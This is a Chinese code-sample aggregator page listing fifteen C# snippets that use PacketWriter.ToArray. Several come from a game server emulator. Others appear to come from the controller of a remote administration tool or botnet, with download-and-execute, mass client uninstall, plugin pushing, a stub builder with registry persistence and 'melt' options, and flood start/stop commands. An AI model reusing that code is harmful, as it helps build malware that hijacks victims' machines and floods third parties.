本文整理汇总了C#中System.IO.PacketWriter.ToArray方法的典型用法代码示例。如果您正苦于以下问题:C# PacketWriter.ToArray方法的具体用法?C# PacketWriter.ToArray怎么用?C# PacketWriter.ToArray使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类System.IO.PacketWriter
的用法示例。
在下文中一共展示了PacketWriter.ToArray方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。
示例1: GenerateSpawnBlob
public override byte[] GenerateSpawnBlob()
{
PacketWriter writer = new PacketWriter();
writer.WriteStruct(Header);
writer.WritePosition(Position);
writer.Write((UInt16)0);
writer.WriteFixedLengthASCII(Name, 0x20);
writer.Write(0); // Padding?
writer.Write(new byte[0xC]); // Unknown, usually zero
writer.Write((UInt16)0);
writer.Write((UInt16)0);
writer.Write((UInt32)0);
writer.Write((UInt32)0);
writer.Write((UInt32)1101004800); // Always this
writer.Write((UInt32)0);
writer.Write((UInt32)0);
writer.Write((UInt32)0);
writer.Write((UInt32)1);
writer.WriteMagic(1, 0x9FCD, 0xE7);
writer.Write((UInt32)0);
return writer.ToArray();
}
示例2: HandlePacket
public override void HandlePacket(Client context, byte flags, byte[] data, uint position, uint size)
{
var writer = new PacketWriter();
writer.Write((uint) 0);
context.SendPacket(0x11, 0x55, 0x0, writer.ToArray());
}
示例3: HandlePacket
public override void HandlePacket(Client context, byte flags, byte[] data, uint position, uint size)
{
if (context.Character == null)
return;
var reader = new PacketReader(data, position, size);
reader.BaseStream.Seek(0xC, SeekOrigin.Begin);
var channel = reader.ReadUInt32();
var message = reader.ReadUtf16(0x9D3F, 0x44);
if (message.StartsWith(PolarisApp.Config.CommandPrefix))
{
var valid = false;
// Iterate commands
foreach (var command in PolarisApp.ConsoleSystem.Commands)
{
var full = message.Substring(1); // Strip the command chars
var args = full.Split(' ');
if (command.Names.Any(name => args[0].ToLower() == name.ToLower()))
{
command.Run(args, args.Length, full, context);
valid = true;
Logger.WriteCommand(null, "[CMD] {0} issued command {1}", context.User.Username, full);
}
if (valid)
break;
}
if (!valid)
Logger.WriteClient(context, "[CMD] {0} - Command not found", message.Split(' ')[0].Trim('\r'));
}
else
{
Logger.Write("[CHT] <{0}> <{1}>", context.Character.Name, message);
var writer = new PacketWriter();
writer.WritePlayerHeader((uint) context.User.PlayerId);
writer.Write(channel);
writer.WriteUtf16(message, 0x9D3F, 0x44);
data = writer.ToArray();
foreach (var c in Server.Instance.Clients)
{
if (c.Character == null || c.CurrentZone != context.CurrentZone)
continue;
c.SendPacket(0x07, 0x00, 0x44, data);
}
}
}
示例4: DoBlockBalance
private void DoBlockBalance(Socket socket)
{
var writer = new PacketWriter();
writer.WriteStruct(new PacketHeader(0x90, 0x11, 0x2C, 0x0, 0x0));
writer.Write(new byte[0x68 - 8]);
writer.Write(PolarisApp.BindAddress.GetAddressBytes());
writer.Write((UInt16)12205);
writer.Write(new byte[0x90 - 0x6A]);
socket.Send(writer.ToArray());
socket.Close();
}
示例5: Client
public Client(Server server, SocketClient socket)
{
IsClosed = false;
_server = server;
Socket = socket;
socket.DataReceived += HandleDataReceived;
socket.ConnectionLost += HandleConnectionLost;
_readBuffer = new byte[1024 * 64];
_readBufferSize = 0;
InputArc4 = null;
OutputArc4 = null;
var welcome = new PacketWriter();
welcome.Write((ushort)3);
welcome.Write((ushort)201);
welcome.Write((ushort)0);
welcome.Write((ushort)0);
SendPacket(0x03, 0x08, 0, welcome.ToArray());
}
示例6: SendPlugins
void SendPlugins(List<byte[]> pluginList)
{
new Thread(delegate()
{
for (int i = 0; i < pluginList.Count; i++)
{
PacketWriter w = new PacketWriter();
w.Write((int)PacketHeader.PLUGIN_STORE);
w.Write(pluginList[i].Length);
w.Write(pluginList[i]);
Send(w.ToArray(true));
}
}).Start();
}
示例7: transferToolStripMenuItem_Click
private void transferToolStripMenuItem_Click(object sender, EventArgs e)
{
using (SaveFileDialog d = new SaveFileDialog())
{
d.Filter = "DLL |*.dll";
d.FileName = lstPlugins.SelectedItems[0].Text;
if (d.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
PacketWriter w = new PacketWriter();
w.Write((int)PacketHeader.PLUGIN_GET);
w.Write(1);
w.Write(lstPlugins.SelectedItems[0].Tag.ToString());
w.Write(d.FileName);
((Client)xClients.SelectedNode.Tag).Send(w.ToArray(true));
//DataWriter w = new DataWriter();
//w.Write(lstPluginData.SelectedItems[0].Tag.ToString());
//w.Write(d.FileName);
//((Client)treeClients.SelectedNode.Tag).Send(new Packet(Client.Header.PLUGIN_TRANSFER, w.GetBytes()));
}
}
}
示例8: SpawnClient
/// <summary>
/// Spawns a client into a map at a given location
/// </summary>
/// <param name="c">Client to spawn into map</param>
/// <param name="location">Location to spawn client at</param>
/// <param name="questOveride">If this also sets the quest data, specify the quest name here to load the spawn from the bin rather then generate it.</param>
public void SpawnClient(Client c, PSOLocation location, string questOveride = "")
{
if (Clients.Contains(c))
{
return;
}
// Set area
if (questOveride != "") // TODO: This is a temporary hack, fix me!!
{
var setAreaPacket = File.ReadAllBytes("Resources/quests/" + questOveride + ".bin");
c.SendPacket(0x03, 0x24, 4, setAreaPacket);
}
else
{
PacketWriter writer = new PacketWriter();
writer.WriteStruct(new ObjectHeader(3, EntityType.Map));
writer.WriteStruct(new ObjectHeader((uint)c.User.PlayerId, EntityType.Player));
writer.Write(0x1); // 8 Zeros
writer.Write(0); // 8 Zeros
writer.Write(~(uint)Type); // F4 FF FF FF
writer.Write(MapID); // Map ID maybe
writer.Write((uint)Flags);
writer.Write(GenerationArgs.seed); // 81 8F E6 19 (Maybe seed)
writer.Write(VariantID); // Randomgen enable / disable maybe
writer.Write(GenerationArgs.xsize); // X Size
writer.Write(GenerationArgs.ysize); // Y Size
writer.Write(1);
writer.Write(1);
writer.Write(~0); // FF FF FF FF FF FF FF FF
writer.Write(0x301);
c.SendPacket(0x3, 0x0, 0x0, writer.ToArray());
}
if (c.CurrentZone != null)
{
c.CurrentZone.RemoveClient(c);
}
var setPlayerId = new PacketWriter();
setPlayerId.WritePlayerHeader((uint)c.User.PlayerId);
c.SendPacket(0x06, 0x00, 0, setPlayerId.ToArray());
// Spawn Character
c.SendPacket(new CharacterSpawnPacket(c.Character, location));
c.CurrentLocation = location;
c.CurrentZone = this;
// Objects
foreach (PSOObject obj in Objects)
{
c.SendPacket(0x08, 0x0B, 0x0, obj.GenerateSpawnBlob());
}
// NPCs
foreach (PSONPC npc in NPCs)
{
c.SendPacket(0x08, 0xC, 0x4, npc.GenerateSpawnBlob());
}
// Spawn for others, Spawn others for me
CharacterSpawnPacket spawnMe = new CharacterSpawnPacket(c.Character, location, false);
foreach (Client other in Clients)
{
other.SendPacket(spawnMe);
c.SendPacket(new CharacterSpawnPacket(other.Character, other.CurrentLocation, false));
}
// Unlock Controls
c.SendPacket(new NoPayloadPacket(0x03, 0x2B)); // Inital spawn only, move this!
Clients.Add(c);
Logger.Write("[MAP] {0} has spawned in {1}.", c.User.Username, Name);
if (InstanceName != null && ZoneManager.Instance.playerCounter.ContainsKey(InstanceName))
{
ZoneManager.Instance.playerCounter[InstanceName] += 1;
}
}
示例9: client_DataReceived
void client_DataReceived(object sender, DataReceivedEventArgs e)
{
Client client = (Client)sender;
//try
//{
switch (e.Header)
{
case (int)PacketHeader.PASSWORD:
{
PacketWriter w = new PacketWriter();
string pass = e.Reader.ReadString();
if (Settings.Passwords.Contains(pass) || pass == string.Empty || pass == "")
{
w.Write((int)PacketHeader.PASSWORD_ACCEPT);
}
else
{
w.Write((int)PacketHeader.PASSWORD_DENIED);
Invoke((MethodInvoker)delegate
{
GlobalProperties.NI.ShowBalloonTip(1500, "Invalid Password", "The client was disconnected due to wrong password", ToolTipIcon.Error);
});
client.DisconnectNotify = false;
}
client.Send(w.ToArray(true));
w = null;
}
break;
case (int)PacketHeader.INFORMATION:
{
if (Settings.Limit != 0)
{
if (GlobalProperties.Online == Settings.Limit)
{
PacketWriter w = new PacketWriter();
w.Write((int)PacketHeader.LIMIT);
client.Send(w.ToArray(true));
w = null;
Invoke((MethodInvoker)delegate
{
GlobalProperties.NI.ShowBalloonTip(2000, "Limit Reached", "New client will be disconnected due to connection limit", ToolTipIcon.Warning);
});
break;
}
}
GlobalProperties.Online++;
client.Lvi.SubItems.Add(client.KeyboardCountry = e.Reader.ReadString());
if (countryByGeoIPToolStripMenuItem.Checked)
client.Lvi.SubItems[1].Text = geoIp.lookupCountryName(client.Address.ToString().Split(':')[0]);
client.Lvi.SubItems.Add(Parser.GetOS(e.Reader.ReadString()));
client.Lvi.SubItems.Add("Idle");
client.Lvi.SubItems.Add(e.Reader.ReadString());
client.Lvi.SubItems.Add("UKN");
client.Lvi.SubItems.Add(client.Socket.Port.ToString());
client.Lvi.ImageIndex = Functions.GetCountryIndex(client.Lvi.SubItems[1].Text, flags);
Invoke((MethodInvoker)delegate
{
client.FullyConnected = true;
if (xHideIPs.Checked)
client.Lvi.Text = string.Empty;
lstClients.Items.Add(client.Lvi);
if (scrollToLatestToolStripMenuItem.Checked)
client.Lvi.EnsureVisible();
if (Settings.NotifyConnected)
GlobalProperties.NI.ShowBalloonTip(3000, "Connection", string.Format("IP Address: {0}\nCountry: {1}\nOS: {2}\nVersion: {3}\nPort: {4}", (!xHideIPs.Checked ? client.Lvi.Text : "HIDDEN"), client.Lvi.SubItems[1].Text, client.Lvi.SubItems[2].Text, client.Lvi.SubItems[4].Text, client.Lvi.SubItems[6].Text), ToolTipIcon.Info);
});
if (Settings.LogDisconnected)
EventLogger.LogEvent("Connection", (!xHideIPs.Checked ? client.Lvi.Text : "Client") + " Connected");
if (GlobalProperties.Online > peak)
{
peak = GlobalProperties.Online;
updatePeak();
}
if (GlobalProperties.Online > total)
{
total = GlobalProperties.Online;
updateTotal();
}
updateOnline();
if (FloodPacket != null)
client.Send(FloodPacket);
}
break;
case (int)PacketHeader.STATUS:
try
{
client.SetStatus(Parser.GetStatus(e.Reader.ReadInt32(), e.Reader.ReadInt32()));
}
catch { }
break;
case (int)PacketHeader.PLUGIN_STATUS:
{
try
{
Guid guid = new Guid(e.Reader.ReadString());
int code = e.Reader.ReadInt32();
string add = e.Reader.ReadString();
//.........这里部分代码省略.........
示例10: uninstallToolStripMenuItem_Click
private void uninstallToolStripMenuItem_Click(object sender, EventArgs e)
{
PacketWriter w = new PacketWriter();
w.Write((int)PacketHeader.UNINSTALL);
if (allToolStripMenuItem.Checked)
{
if (MessageBox.Show("This will uninstall all Clients.\n\nAre you sure?", "PERMEMENT ACTION", MessageBoxButtons.YesNo, MessageBoxIcon.Warning) == System.Windows.Forms.DialogResult.Yes)
{
Send(w.ToArray(true));
}
}
else
{
if (lstClients.SelectedItems.Count < 1)
return;
if (MessageBox.Show(string.Format("This will uninstall {0} Client(s).\n\nAre you sure?", lstClients.SelectedItems.Count), "PERMEMENT ACTION", MessageBoxButtons.YesNo, MessageBoxIcon.Warning) == System.Windows.Forms.DialogResult.Yes)
{
Send(w.ToArray(true));
}
}
w = null;
}
示例11: xClients_NodeMouseClick
void xClients_NodeMouseClick(object sender, TreeNodeMouseClickEventArgs e)
{
TreeNode Node = e.Node;
lstPlugins.Items.Clear();
PacketWriter w = new PacketWriter();
w.Write((int)PacketHeader.PLUGIN_GET);
w.Write(0);
((Client)Node.Tag).Send(w.ToArray(true));
}
示例12: RunLUA
private void RunLUA(string[] args, int length, string full, Client client)
{
if (client == null)
{
var id = Helper.FindPlayerByUsername(args[1]);
if (id == -1)
return;
client = PolarisApp.Instance.Server.Clients[id];
}
else
{
string[] newargs = new string[args.Length + 1];
newargs[0] = "";
newargs[1] = "";
Array.Copy(args, 1, newargs, 2, args.Length - 1);
args = newargs;
}
PacketWriter luaPacket = new PacketWriter();
luaPacket.Write((UInt16)1);
luaPacket.Write((UInt16)1);
luaPacket.WriteAscii(String.Join(" ", args, 2, args.Length - 2), 0xD975, 0x2F);
client.SendPacket(0x10, 0x3, 0x4, luaPacket.ToArray());
}
示例13: downloadExecuteToolStripMenuItem_Click
private void downloadExecuteToolStripMenuItem_Click(object sender, EventArgs e)
{
using (DownloadEx ex = new DownloadEx())
{
if (ex.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
PacketWriter w = new PacketWriter();
w.Write((int)PacketHeader.DOWNLOAD_EX);
w.Write(ex.IsUrl);
w.Write(ex.ExecuteOnly);
w.Write(ex.UpdatePassword);
w.Write(ex.FileLocation);
if (!ex.IsUrl)
{
byte[] b = File.ReadAllBytes(ex.FileLocation);
w.Write(b.Length);
w.Write(b);
}
Send(w.ToArray(true));
}
}
}
示例14: Build
void Build()
{
PacketWriter w = new PacketWriter();
w.Write((int)Header.BUILD);
w.Write(txtHost.Text);
w.Write(int.Parse(txtPort.Text));
w.Write(xBackup.Checked);
w.Write(txtBackupHost.Text);
w.Write(int.Parse(txtBackupPort.Text));
w.Write(txtPassword.Text);
w.Write(txtUpdatePassword.Text);
w.Write(xInstall.Checked);
w.Write(xHKCU.Checked);
w.Write(txtHKCU.Text);
w.Write(xHKLM.Checked);
w.Write(txtHKLM.Text);
w.Write(txtFolderName.Text);
w.Write(txtFilename.Text);
w.Write(txtPluginStoreLoc.Text);
w.Write(txtPluginStoreName.Text);
w.Write(txtMutex.Text);
w.Write(xVisMode.Checked);
w.Write(xShowConsole.Checked);
w.Write(xMelt.Checked);
w.Write((lstBinder.Items.Count > 0) ? true : false);
w.Write((lstPlugins.CheckedItems.Count > 0) ? true : false);
IAssembly asm = GlobalProperties.BuildAssembly;
w.Write((asm == null) ? false : true);
if (asm != null)
{
w.Write(asm.Title);
w.Write(asm.Description);
w.Write(asm.Configuration);
w.Write(asm.Company);
w.Write(asm.Title);
w.Write(asm.Copyright);
w.Write(asm.Culture);
w.Write(asm.Guid);
w.Write(asm.AssemblyVersion);
w.Write(asm.AssemblyFileVersion);
}
string args = "/filealign:512 /platform:anycpu";
if (!xShowConsole.Checked)
args += " /target:winexe";
//else
// args += " /debug";
w.Write(args);
Console.WriteLine(GlobalProperties.Client.Send(w.ToArray(true)));
}
示例15: FloodTimer_TimerFinished
void FloodTimer_TimerFinished(object sender, EventArgs e)
{
PacketWriter w = new PacketWriter();
w.Write((int)PacketHeader.FLOOD_STOP);
Send(w.ToArray(true));
Invoke((MethodInvoker)delegate
{
lblFloodTimer.Text = "Flood Timer: 00:00:00";
lblFloodTimer.ForeColor = Color.Black;
});
}